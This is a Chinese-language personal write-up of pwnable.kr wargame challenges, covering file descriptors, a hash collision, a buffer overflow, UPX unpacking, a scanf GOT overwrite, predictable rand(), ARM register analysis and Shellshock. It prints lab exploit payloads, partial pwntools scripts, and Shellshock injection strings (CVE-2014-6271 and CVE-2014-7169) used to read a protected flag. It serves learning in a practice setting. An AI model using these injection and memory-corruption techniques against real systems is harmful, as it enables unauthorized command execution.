0x00 前言
自己做PWNABLE.KR时的记录,持续更新
可以使用scp远程下载文件到本地调试:
1 | scp -P 2222 username@servername:remote_dir/ /tmp/local_dir |
例如:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/fd$ scp -P 2222 fd@pwnable.kr:/home/fd/fd.c /home/mask/ |
0x01 fd
1 | ssh fd@pwnable.kr -p2222 (pw:guest) |
登录上去:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/fd$ ssh fd@pwnable.kr -p2222 |
运行ls可以发现有三个文件:
1 | fd@ubuntu:~$ ls |
尝试cat flag:
1 | fd@ubuntu:~$ cat flag |
我真天真~~~
那么查看fd.c的源码:
1 | #include <stdio.h> |
这里需要知道标准io,read的第一个参数是标准输入,即数字0,所以argv[1] = 0x1234 = 4660。buf要等于”LETMEWIN\n”,也就是输入我们需要输入”LETMEWIN”
1 | fd@ubuntu:~$ ./fd 0x1234 |
所学到的知识:
1.这里查看一下三个文件的权限:
1 | fd@ubuntu:~$ ls -l |
s权限是啥呢?
执行者在执行该文件时将具有该文件所属组的权限
那么fd在执行时就有权去查看flag
2.标准输入输出:
1 | 文件描述符 0 标准输入 stdin |
0x02 collision
1 | ssh col@pwnable.kr -p2222 (pw:guest) |
查看程序源码:
1 | #include <stdio.h> |
输入一个长度为20的字符串,注意这里有一个指针类型转换,char*
转换为 int*
,我们知道int类型的变量宽度为4个字节,char类型变量为1个字节,那么这里要求
输入的长度必须等于20个字节的字符串,然后把字符段每四个长度分为一部分,然后转为int类型,相加要等于0x21DD09EC,那么:
1 | mask@mask-virtual-machine:~/libc/libc-database$ python |
那么构造一下字符串就是
1 | '\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\xdc\xfd\xd4\x1d' |
输入:
1 | col@ubuntu:~$ ./col $(python -c 'print"\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\x04\x03\x02\x01\xdc\xfd\xd4\x1d"') |
可以构造一下脚本:
1 | from pwn import * |
所学到的知识
这道题倒没利用啥漏洞,只要简单逆向一下程序,看懂验证机制即可,学习了一下python的一些进制以及字符之间的转换利用:
将’0000’字符串内的数转换为16进制数’30303030’
1 | >>> '0000'.encode('hex') |
将字符串内16进制数转换为int类型的10进制
1 | >>> int('30303030',16) |
最后,综合:
1 | >>> hex(0x0121dd09ec-808464432*4)[2:].decode('hex') |
0x03 bof
按照提示把文件下载到本地:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/bof$ wget http://pwnable.kr/bin/bof |
查看程序源码:
1 | #include <stdio.h> |
很简单的一道利用缓冲区溢出修改函数参数的题目,gdb调试一下:
栈内布局:
1 | 0028| 0xbffff01c ("mask") |
那么exp:
1 | from pwn import * |
运行:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/bof$ python exp.py |
所学知识:
没学到啥,就是一个简单的溢出而已~
0x04 flag
下载下来一个flag文件
给予执行权限后执行居然报错???
1 | mask@mask-virtual-machine:~/PWNABLE.KR/flag$ ./flag |
吓得我binwalk查看了一下
1 | mask@mask-virtual-machine:~/PWNABLE.KR/flag$ binwalk flag |
1 | DECIMAL HEXADECIMAL DESCRIPTION |
原来是64位的程序,那么我这个是32位的,接下来换一个64位的执行
1 | mask@mask-virtual-machine:~/flag$ ./flag |
???,IDA打开查看:
可以发现很多函数并没有被识别出来,而且还有一大段这样的东西:
那么猜测这是加了壳的,加了啥壳还不清楚
前后各处翻一翻:
那么很有可能压缩壳,这里直接用工具脱壳了
先下载这个工具:
1 | mask@mask-virtual-machine:~/flag$ sudo apt install upx-ucl |
然后
1 | mask@mask-virtual-machine:~/flag$ upx -d flag |
脱壳后在放入IDA查看:
然后查看main函数,可以发现有一个flag变量,跟进查看:
1 | .rodata:0000000000496628 aUpx___?SoundsL db 'UPX...? sounds like a delivery service :)',0 |
0x05 passcode
源码分析:
1 | #include <stdio.h> |
这里就一个地方需要注意,scanf函数,可以发现调用scanf函数时变量name
, passcode1
,passcode2
都没有加取址符‘&’
,这里就是利用这个进行一个覆写操作。
具体思路就是通过在welcone
函数里通过scanf()
写入fflush
函数的GOT的地址,然后在login()
里再通过scanf()
将
fflush函数的GOT地址覆写为调用system("/bin/cat/flag")
处的地址,那么当调用fflush函数时就会进行cat flag
操作
这里有一点就是name变量与passcode1变量之间的关系,我们需要在调用scanf("%100s", name);
时将passcode1变量变为fflush
的GOT地址
这里你可以gdb去动态调试然后算出来,这里有个更好的办法,IDA打开
查看一下welcome:
1 | int welcome() |
login:
1 | int login() |
呐,可以看到name的偏移为[bp-70],passcode1为[bp-10],两个变量之间的偏移相差了0x60,好了,可以开始编写exp了:
1 | from pwn import* |
执行:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/passcode$ vim exp.py |
所学知识:
一个简单的GOT地址覆写以及scanf()函数的利用
0x06 random
查看源码:
1 | # include <stdio.h> |
我们知道rand()函数可以用来产生随机数,但是这不是真正意义上的随机数,是一个伪随机数,是根据一个数(我们可以称它为种子)为基准以某个递推公式推算出来的一系列数,当这系列数很大的时候,就符合正态公布,从而相当于产生了随机数,但这不是真正的随机数,当计算机正常开机后,这个种子的值是定了的,除非你破坏了系统。
那么我们就来找到这个数值,emmmm那么就只能在远程主机来找了
下面是调试过程:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/random$ ssh random@pwnable.kr -p2222 |
产生的伪随机数返回后保存在eax中,值为0x6b8b4567,那么,输入的key:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/random$ python |
编写exp:
1 | from pwn import * |
运行:
1 | mask@mask-virtual-machine:~/PWNABLE.KR/random$ vim exp.py |
所学知识:
随机数函数rand()与srand()
0x07 input
0x08 leg
直接分析源码:
1 | #include <stdio.h> |
那么只要输入的值等于key1()+key2()+key3()
即可
这里正好提供了汇编代码,直接分析:
先来看key1():
1 | (gdb) disass key1 |
因为返回值会保存在R0,直接定位R0即可
1 | 0x00008ce0 <+12>:mov r0, r3 |
R3的值为:
1 | 0x00008cdc <+8>: mov r3, pc |
PC是程序计数器,类似于X86的EIP,但是这里需要注意的是arm架构下的流水线,每条指令需要经过取址,译码,执行三个步骤:
也就是说,当你的第一条指令开始执行的时候,PC已经到了第三条指令,那么PC=PC+8
那么此时R0=R3 = 0x00008ce4
再来看key2()
1 | (gdb) disass key2 |
一样,直接先定位R0
1 | 0x00008d10 <+32>:mov r0, r3 |
找到R3
1 | 0x00008d04 <+20>:mov r3, pc |
那么R0 = R3 = 0x00008d08+4
然后是key3()
1 | (gdb) disass key3 |
同样直接定位R0
1 | 0x00008d28 <+8>: mov r3, lr |
这里的LR存储的是函数返回的地址,和X86不同,X86是存在栈里,arm直接用寄存器存储,那么来看下函数返回的地址:
1 | 0x00008d68 <+44>: bl 0x8cd4 <key1> |
那么LR存的就是0x00008d80
所以key3()的返回值就是R0 = R3 = 0x00008d80
那么我们输入的就要等于这三个函数返回的值的和:
1 | 0x00008ce4+0x00008d08+4+0x00008d80 = 108400 |
输入验证下:
1 | / $ ./leg |
0x09 mistake
源码:
1 | #include <stdio.h> |
这里if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
可以发现fd = 0
那么read(fd,pw_buf,PW_LEN)
此处便是从标准输入读取了那么先输入pw_buf,再输入pw_buf2,程序会将pw_buf2异或,然后异或后等于pw_buf即可
1 | mistake@ubuntu:~$ ./mistake |
0x0A shellshock
一个bash漏洞的简单利用
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
(1).CVE-2014-6271 测试方式:
env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”
(2).CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)
env -i X=’;() { (a)=>\’ bash -c ‘echo date’; cat echo
可以发现shellshock执行的时候具有shell_pwn权限,那就可以读flag
1 | shellshock@ubuntu:~$ ls -l |
结合一下bash漏洞:
1 | shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock -c "echo this is a test" |